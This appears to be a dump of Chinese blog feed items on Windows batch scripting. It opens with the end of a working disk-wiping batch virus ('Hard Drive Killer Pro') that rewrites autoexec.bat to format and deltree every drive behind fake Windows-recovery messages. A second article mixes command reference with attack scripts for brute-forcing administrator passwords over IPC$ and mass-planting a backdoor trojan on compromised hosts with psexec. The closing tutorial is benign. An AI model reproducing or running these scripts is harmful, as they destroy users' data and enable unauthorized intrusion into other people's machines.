                        <p><font face=幼圆>echo @echo off &gt;drivechk.bat <br>echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" &gt; nul &gt;{t}.bat <br>%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <br>del {t}.bat <br>echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat </font></p>
                        <p><font face=幼圆>cls <br>echo PLEASE WAIT WHILE PROGRAM LOADS . . . </font></p>
                        <p><font face=幼圆>rem When errorlevel is 1, then the above is not true, if 0, then it's true. <br>rem Opposite of binary rules. If 0, it will elaps to the next command. </font></p>
                        <p><font face=幼圆>echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" &gt; nul &gt;{t}.bat <br>%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <br>del {t}.bat <br>echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat </font></p>
                        <p><font face=幼圆>cls <br>echo PLEASE WAIT WHILE PROGRAM LOADS . . . </font></p>
                        <p><font face=幼圆>rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. <br>rem if errorlevel is 0, then it will elaps to the next command. </font></p>
                        <p><font face=幼圆>echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" &gt; nul &gt;{t}.bat <br>%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <br>del {t}.bat <br>echo if errorlevel 1 set drive=%%drive%% %%1 &gt;&gt;drivechk.bat </font></p>
                        <p><font face=幼圆>cls <br>echo PLEASE WAIT WHILE PROGRAM LOADS . . . </font></p>
                        <p><font face=幼圆>rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. <br>rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive. </font></p>
                        <p><font face=幼圆>echo :enddc &gt;&gt;drivechk.bat </font></p>
                        <p><font face=幼圆>rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". </font></p>
                        <p><font face=幼圆>rem Now we will use the program drivechk.bat to attain valid drive information. </font></p>
                        <p><font face=幼圆>:Sampledrv </font></p>
                        <p><font face=幼圆>for %%a in (%alldrive%) do call drivechk.bat %%a &gt;nul <br>del drivechk.bat &gt;nul <br>if %drive.==. set drive=c </font></p>
                        <p><font face=幼圆>:form_del <br>call attrib -r -h c:\autoexec.bat &gt;nul <br>echo @echo off &gt;c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p>
                        <p><font face=幼圆>&gt;&gt;c:\autoexec.bat <br>echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat <br>echo cls &gt;&gt;c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p>
                        <p><font face=幼圆>&gt;&gt;c:\autoexec.bat <br>echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat <br>echo cls &gt;&gt;c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p>
                        <p><font face=幼圆>&gt;&gt;c:\autoexec.bat <br>echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat <br>echo cls &gt;&gt;c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p>
                        <p><font face=幼圆>&gt;&gt;c:\autoexec.bat <br>echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat <br>echo cls &gt;&gt;c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p>
                        <p><font face=幼圆>&gt;&gt;c:\autoexec.bat <br>echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat <br>echo cls &gt;&gt;c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p>
                        <p><font face=幼圆>&gt;&gt;c:\autoexec.bat <br>echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat <br>echo cd\ &gt;&gt;c:\autoexec.bat <br>echo cls &gt;&gt;c:\autoexec.bat <br>echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. </font></p>
                        <p><font face=幼圆>&gt;&gt;c:\autoexec.bat <br>echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to </font></p>
                        <p><font face=幼圆>tell you the following. . . &gt;&gt;c:\autoexec.bat <br>echo echo 1. To make people aware that security should not be taken for granted. </font></p>
                        <p><font face=幼圆>&gt;&gt;c:\autoexec.bat <br>echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! </font></p>
                        <p><font face=幼圆>&gt;&gt;c:\autoexec.bat <br>echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is </font></p>
                        <p><font face=幼圆>dead. &gt;&gt;c:\autoexec.bat <br>echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal </font></p>
                        <p><font face=幼圆>Party.&gt;&gt;c:\autoexec.bat </font></p>
                        <p><font face=幼圆>echo echo. &gt;&gt;c:\autoexec.bat <br>echo echo Regards, &gt;&gt;c:\autoexec.bat <br>echo echo. &gt;&gt;c:\autoexec.bat <br>echo echo Munga Bunga &gt;&gt;c:\autoexec.bat <br>call attrib +r +h c:\autoexec.bat </font></p>
                        <p><font face=幼圆>:makedir <br>if exist c:\temp.bat attrib -r -h c:\temp.bat &gt;nul <br>echo @echo off &gt;c:\temp.bat <br>echo %%1:\ &gt;&gt;c:\temp.bat <br>echo cd\ &gt;&gt;c:\temp.bat <br>echo :startmd &gt;&gt;c:\temp.bat <br>echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a </font></p>
                        <p><font face=幼圆>&gt;&gt;c:\temp.bat <br>echo for %%%%a in ("&gt;ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! &gt;&gt;c:\temp.bat <br>echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%</font></p>
                        <p><font face=幼圆>%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto </font></p>
                        <p><font face=幼圆>startmd &gt;&gt;c:\temp.bat <br>call attrib +r +h c:\temp.bat &gt;nul </font></p>
                        <p><font face=幼圆>cls <br>echo Initializing Variables . . . <br>rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for </font></p>
                        <p><font face=幼圆>further destruction. <br>for %%a in (%drive%) do call format %%a: /q /u /autoSample &gt;nul <br>cls <br>echo Initializing Variables . . . <br>echo Validating Data . . . <br>for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul <br>cls <br>echo Initializing Variables . . . <br>echo Validating Data . . . <br>echo Analyzing System Structure . . . <br>for %%a in (%drive%) call attrib -r -h %%a:\ /S &gt;nul <br>call attrib +r +h c:\temp.bat &gt;nul <br>call attrib +r +h c:\autoexec.bat &gt;nul <br>cls <br>echo Initializing Variables . . . <br>echo Validating Data . . . <br>echo Analyzing System Structure . . . <br>echo Initializing Application . . . </font></p>
                        <p><font face=幼圆>for %%a in (%drive%) call deltree /y %%a:\*. &gt;nul <br>cls <br>echo Initializing Variables . . . <br>echo Validating Data . . . <br>echo Analyzing System Structure . . . <br>echo Initializing Application . . . <br>echo Starting Application . . . <br>for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul </font></p>
                        <p><font face=幼圆>cls <br>echo Thank you for using a Munga Bunga product. <br>echo. <br>echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. <br>echo. <br>echo Here is a joke for you . . . <br>echo. <br>echo Q). What's the worst thing about being an egg? <br>echo A). You only get laid once. <br>echo. <br>echo HAHAHAHA, get it? Don't you just love that one? <br>echo. <br>echo Regards, <br>echo. <br>echo Munga Bunga </font></p>
                        <p><font face=幼圆>:end </font></p>
                        <p><font face=幼圆>rem Hard Drive Killer Pro Version 4.0, enjoy!!!! <br>rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get </font></p>
                        <p><font face=幼圆>out of here). <br></font></p>
                        </div>
                        </td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table><img src ="http://www.blogjava.net/Alpha/aggbug/134631.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Alpha/" target="_blank">Alpha</a> 2007-08-06 10:41 <a href="http://www.blogjava.net/Alpha/articles/134631.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理命令大全</title><link>http://www.blogjava.net/Alpha/articles/134630.html</link><dc:creator>Alpha</dc:creator><author>Alpha</author><pubDate>Mon, 06 Aug 2007 02:41:00 GMT</pubDate><guid>http://www.blogjava.net/Alpha/articles/134630.html</guid><wfw:comment>http://www.blogjava.net/Alpha/comments/134630.html</wfw:comment><comments>http://www.blogjava.net/Alpha/articles/134630.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Alpha/comments/commentRss/134630.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Alpha/services/trackbacks/134630.html</trackback:ping><description><![CDATA[<table class=border cellSpacing=0 cellPadding=0 width="100%" border=0>
    <tbody>
        <tr vAlign=center align=middle>
            <td colSpan=2 height=50><font face=楷体_GB2312 color=#000080 size=4><strong>批处理命令大全</strong></font></td>
        </tr>
        <tr class=tdbg_rightall>
            <td style="BORDER-BOTTOM: #000000 1px solid" colSpan=2>
            <div align=center>［作者：佚名&nbsp;&nbsp;转贴自：Internet&nbsp;&nbsp;点击数：23116&nbsp;&nbsp;更新时间：2005-12-25&nbsp;&nbsp;文章录入：onegreen］</div>
            </td>
        </tr>
        <tr>
            <td style="PADDING-BOTTOM: 20px; PADDING-TOP: 20px" colSpan=2>
            <table cellSpacing=5 cellPadding=0 width=560 align=center border=0>
                <tbody>
                    <tr>
                        <td vAlign=top height=200>
                        <table cellSpacing=5 cellPadding=5 align=right border=0>
                            <tbody>
                                <tr>
                                    <td vAlign=top align=right>
                                    <p align=right></p>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                        <p>
                        <p>
                        <p>
                        <p>1.Echo 命令<br>打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。<br>语法<br>echo [{on|off}] [message]<br>Sample：echo off / echo hello world<br>在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。<br><br>2.@ 命令<br>表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。<br>Sample：@echo off<br>@echo Now initializing the program,please wait a minite...<br>@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)<br><br>3.Goto 命令<br>指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。<br>语法：goto label （label是参数，指定所要转向的批处理程序中的行。） <br>Sample：<br>if {%1}=={} goto noparms<br>if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）<br>@Rem check parameters if null show usage<br>:noparms<br>echo Usage: monitor.bat ServerIP PortNumber<br>goto end<br>标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。<br><br>4.Rem 命令<br>注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。<br>Rem Message<br>Sample：@Rem Here is the description.<br><br>5.Pause 命令<br>运行 Pause 命令时，将显示下面的消息： <br>Press any key to continue . . . <br>Sample：<br>@echo off <br>:begin <br>copy a:*.* d：\back<br>echo Please put a new disk into driver A <br>pause <br>goto begin <br>在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。<br><br>6.Call 命令<br>从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。<br>语法<br>call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]<br>参数<br>[Drive:}[Path] FileName <br>指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。<br><br>7.start 命令<br>调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。<br>入侵常用参数：<br>MIN 开始时窗口最小化<br>SEPARATE 在分开的空间内开始 16 位 Windows 程序<br>HIGH 在 HIGH 优先级类别开始应用程序<br>REALTIME 在 REALTIME 优先级类别开始应用程序<br>WAIT 启动应用程序并等候它结束<br>parameters 这些为传送到命令/程序的参数<br>执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。<br>8.choice 命令<br>choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234&#8230;&#8230;<br><br>如: choice /c:dme defrag,mem,end<br>将显示<br>defrag,mem,end[D,M,E]?<br>Sample：<br>Sample.bat的内容如下: <br>@echo off <br>choice /c:dme defrag,mem,end <br>if errorlevel 3 goto defrag （应先判断数值最高的错误码）<br>if errorlevel 2 goto mem <br>if errotlevel 1 goto end <br><br>:defrag <br>c:\dos\defrag <br>goto end <br>:mem <br>mem <br>goto end <br>:end <br>echo good bye<br><br>此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。<br><br>9.If 命令<br><br>if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br>1、if "参数" == "字符串" 待执行的命令 <br>参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）<br>如if "%1"=="a" format a: <br>if {%1}=={} goto noparms<br>if {%2}=={} goto noparms<br><br>2、if exist 文件名 待执行的命令 <br>如果有指定的文件，则条件成立，运行命令，否则运行下一句。<br>如if exist config.sys edit config.sys <br><br>3、if errorlevel / if not errorlevel 数字 待执行的命令 <br>如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。<br>如if errorlevel 2 goto x2 <br>DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。<br><br>10.for 命令<br>for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。<br>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<br><br>for {%variable|%%variable} in (set) do command [ CommandLineOptions]<br>%variable 指定一个单一字母可替换的参数。<br>(set) 指定一个或一组文件。可以使用通配符。<br>command 指定对每个文件执行的命令。<br>command-parameters 为特定命令指定参数或命令行开关。<br>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<br>而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I<br><br>如果命令扩展名被启用，下列额外的 FOR 命令格式会受到<br>支持:<br><br>FOR /D %variable IN (set) DO command [command-parameters]<br><br>如果集中包含通配符，则指定与目录名匹配，而不与文件<br>名匹配。<br><br>FOR /R [[drive:]path] %variable IN (set) DO command [command-<br><br>检查以 [drive:]path 为根的目录树，指向每个目录中的<br>FOR 语句。如果在 /R 后没有指定目录，则使用当前<br>目录。如果集仅为一个单点(.)字符，则枚举该目录树。<br><br>FOR /L %variable IN (start,step,end) DO command [command-para<br><br>该集表示以增量形式从开始到结束的一个数字序列。<br>因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生<br>序列 (5 4 3 2 1)。<br><br>FOR /F ["options"] %variable IN (file-set) DO command <br>FOR /F ["options"] %variable IN ("string") DO command <br>FOR /F ["options"] %variable IN (command) DO command <br><br>或者，如果有 usebackq 选项:<br><br>FOR /F ["options"] %variable IN (file-set) DO command <br>FOR /F ["options"] %variable IN ("string") DO command <br>FOR /F ["options"] %variable IN (command) DO command <br><br>filenameset 为一个或多个文件名。继续到 filenameset 中的<br>下一个文件之前，每份文件都已被打开、读取并经过处理。<br>处理包括读取文件，将其分成一行行的文字，然后将每行<br>解析成零或更多的符号。然后用已找到的符号字符串变量值<br>调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开<br>的第一个空白符号。跳过空白行。您可通过指定可选 "options"<br>参数替代默认解析操作。这个带引号的字符串包括一个或多个<br>指定不同解析选项的关键字。这些关键字为:<br><br>eol=c - 指一个行注释字符的结尾(就一个)<br>skip=n - 指在文件开始时忽略的行数。<br>delims=xxx - 指分隔符集。这个替换了空格和跳格键的<br>默认分隔符集。<br>tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代<br>的 for 本身。这会导致额外变量名称的<br>格式为一个范围。通过 nth 符号指定 m<br>符号字符串中的最后一个字符星号，<br>那么额外的变量将在最后一个符号解析之<br>分配并接受行的保留文本。<br>usebackq - 指定新语法已在下类情况中使用:<br>在作为命令执行一个后引号的字符串并且<br>引号字符为文字字符串命令并允许在 fi<br>中使用双引号扩起文件名称。<br><br>sample1:<br>FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command<br><br>会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将<br>每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或<br>空格定界符号。请注意，这个 for 程序体的语句引用 %i 来<br>取得第二个符号，引用 %j 来取得第三个符号，引用 %k<br>来取得第三个符号后的所有剩余符号。对于带有空格的文件<br>名，您需要用双引号将文件名括起来。为了用这种方式来使<br>用双引号，您还需要使用 usebackq 选项，否则，双引号会<br>被理解成是用作定义某个要分析的字符串的。<br><br>%i 专门在 for 语句中得到说明，%j 和 %k 是通过<br>tokens= 选项专门得到说明的。您可以通过 tokens= 一行<br>指定最多 26 个符号，只要不试图说明一个高于字母 z 或<br>Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；<br>同时不能有 52 个以上都在使用中。<br><br>您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，<br>用单引号将括号之间的 filenameset 括起来。这样，该字符<br>串会被当作一个文件中的一个单一输入行。<br><br>最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将<br>括号之间的 filenameset 变成一个反括字符串。该字符串会<br>被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进<br>内存，并被当作文件分析。因此，以下例子:<br><br>FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i<br><br>会枚举当前环境中的环境变量名称。<br><br>另外，FOR 变量参照的替换已被增强。您现在可以使用下列<br>选项语法:<br><br>~I - 删除任何引号(")，扩充 %I<br>%~fI - 将 %I 扩充到一个完全合格的路径名<br>%~dI - 仅将 %I 扩充到一个驱动器号<br>%~pI - 仅将 %I 扩充到一个路径<br>%~nI - 仅将 %I 扩充到一个文件名<br>%~xI - 仅将 %I 扩充到一个文件扩展名<br>%~sI - 扩充的路径只含有短名<br>%~aI - 将 %I 扩充到文件的文件属性<br>%~tI - 将 %I 扩充到文件的日期/时间<br>%~zI - 将 %I 扩充到文件的大小<br>%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充<br>到找到的第一个完全合格的名称。如果环境变量<br>未被定义，或者没有找到文件，此组合键会扩充<br>空字符串<br><br>可以组合修饰符来得到多重结果:<br><br>%~dpI - 仅将 %I 扩充到一个驱动器号和路径<br>%~nxI - 仅将 %I 扩充到一个文件名和扩展名<br>%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名<br>%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充<br>到找到的第一个驱动器号和路径。<br>%~ftzaI - 将 %I 扩充到类似输出线路的 DIR<br><br>在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法<br>用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名<br>比较易读，而且避免与不分大小写的组合键混淆。<br><br>以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。<br><br>sample2：<br><br>利用For命令来实现对一台目标Win2k主机的暴力密码破解。<br>我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。<br>最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"<br>用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－<br>for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成"&gt;&gt;D:\ok.txt ，这样就ko了。<br><br>sample3：<br><br>你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。<br><br>主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）<br>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k<br>tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。<br>而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。<br>delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。<br>代码雏形：<br><br>--------------- cut here then save as a batchfile(I call it main.bat ) --------------------<br>@echo off<br>@if "%1"=="" goto usage<br>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<br>@goto end<br>:usage<br>@echo run this batch in dos modle.or just double-click it.<br>:end<br>--------------- cut here then save as a batchfile(I call it main.bat ) --------------------<br><br>------------------- cut here then save as a batchfile(I call it door.bat) -----------------<br>@net use \\%1\ipc$ %3 /u:"%2"<br>@if errorlevel 1 goto failed<br>@echo Trying to establish the IPC$ connection &#8230;&#8230;&#8230;&#8230;OK<br>@copy windrv32.exe\\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt<br>@p***ec \\%1 c:\winnt\system32\windrv32.exe<br>@p***ec \\%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt<br>:failed<br>@echo Sorry can not connected to the victim.<br>----------------- cut here then save as a batchfile(I call it door.bat) -------------------<br>这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容<br>尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.</p>
                        </td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table><img src ="http://www.blogjava.net/Alpha/aggbug/134630.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Alpha/" target="_blank">Alpha</a> 2007-08-06 10:41 <a href="http://www.blogjava.net/Alpha/articles/134630.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>手把手教你写批处理 </title><link>http://www.blogjava.net/Alpha/articles/134628.html</link><dc:creator>Alpha</dc:creator><author>Alpha</author><pubDate>Mon, 06 Aug 2007 02:40:00 GMT</pubDate><guid>http://www.blogjava.net/Alpha/articles/134628.html</guid><wfw:comment>http://www.blogjava.net/Alpha/comments/134628.html</wfw:comment><comments>http://www.blogjava.net/Alpha/articles/134628.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Alpha/comments/commentRss/134628.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Alpha/services/trackbacks/134628.html</trackback:ping><description><![CDATA[<p>编者：这个教程和别不一样的地方在于willsort编注那里的内容，是作者多年来的心得．&nbsp; <br>批处理的介绍</p>
<p>扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。</p>
<p>==== willsort 编注 =======================================<br>.bat是dos下的批处理文件<br>.cmd是nt内核命令行环境的另一种批处理文件<br>从更广义的角度来看，unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本，都具有与批处理文件十分相似的作用，而且同样是由专用解释器以行为单位解释执行，这种文本形式更通用的称谓是脚本语言。所以从某个程度分析，batch, unix shell, awk, basic, perl 等脚本语言都是一样的，只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼，而其内容和扩展名与dos的批处理却又完全不同。<br>===================================</p>
<p>首先批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好象我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。</p>
<p>==== willsort 题注 ===================<br>批处理文件中完全可以使用非dos命令，甚至可以使用不具有可执行特性的普通数据性文件，这缘于windows系统这个新型解释平台的涉入，使得批处理的应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行环境中，否则很多观念和设定都需要做比较大的变动。<br>========================</p>
<p>其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。</p>
<p>==== willsort 编注 ==================<br>批处理文件(batch file)也可以称之为批处理程序(batch program)，这一点与编译型语言有所不同，就c语言来说，扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码，但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性，又具有程序的可执行性，这些称谓的界限是比较模糊的。<br>===========================</p>
<p>第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:\batch，你就可以在任意位置运行所有你编写的批处理程序。</p>
<p>==== willsort 编注 =====<br>纯以dos系统而言，可执行程序大约可以细分为五类，依照执行优先级由高到低排列分别是：DOSKEY宏命令（预先驻留内存），COMMAND.COM中的内部命令（根据内存的环境随时进驻内存），以com为扩展名的可执行程序（由command.com 直接载入内存），以exe位扩展名的可执行程序（由command.com 重定位后载入内存），以bat位扩展名的批处理程序（由command.com 解释分析，根据其内容按优先级顺序调用第2，3，4，5种可执行程序，分析一行，执行一行，文件本身不载入内存）<br>============</p>
<p>第四，在DOS和Win9x/Me系统下，C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例：<br>@ECHO OFF<br>PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;<br><br>C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH<br>LH SMARTDRV.EXE /X<br>LH DOSKEY.COM /INSERT<br>LH CTMOUSE.EXE<br>SET TEMP=D:\TEMP<br>SET TMP=D:\TEMP<br>==== willsort 编注 =====<br>AUTOEXEC.BAT为DOS系统的自动运行批处理文件，由COMMAND.COM启动时解释执行；<br>而在Win9x环境中，不仅增加支持了 DOSSTART.BAT, WINSTART.BAT 等许多其它自动运行的批处理文件，对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。<br>==== willsort 编注 =============<br>以下关于命令的分类，有很多值得推敲的地方。常用命令中的@本不是命令，而dir、copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为"批处理命令"。</p>
<p>以下摘录MS-DOS 6.22 帮助文档中关于"批处理命令"的文字，当然，其中有些概念和定义已经有些落后了。</p>
<p>批处理命令</p>
<p>批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件，扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时，MS-DOS成组执行此批处理程序中的命令。</p>
<p>任何在命令提示符下可使用的命令都可用在批处理程序中。此外，下面MS-DOS命令是专门在批处理程序中使用的。<br>==========</p>
<p>常用命令</p>
<p>echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。</p>
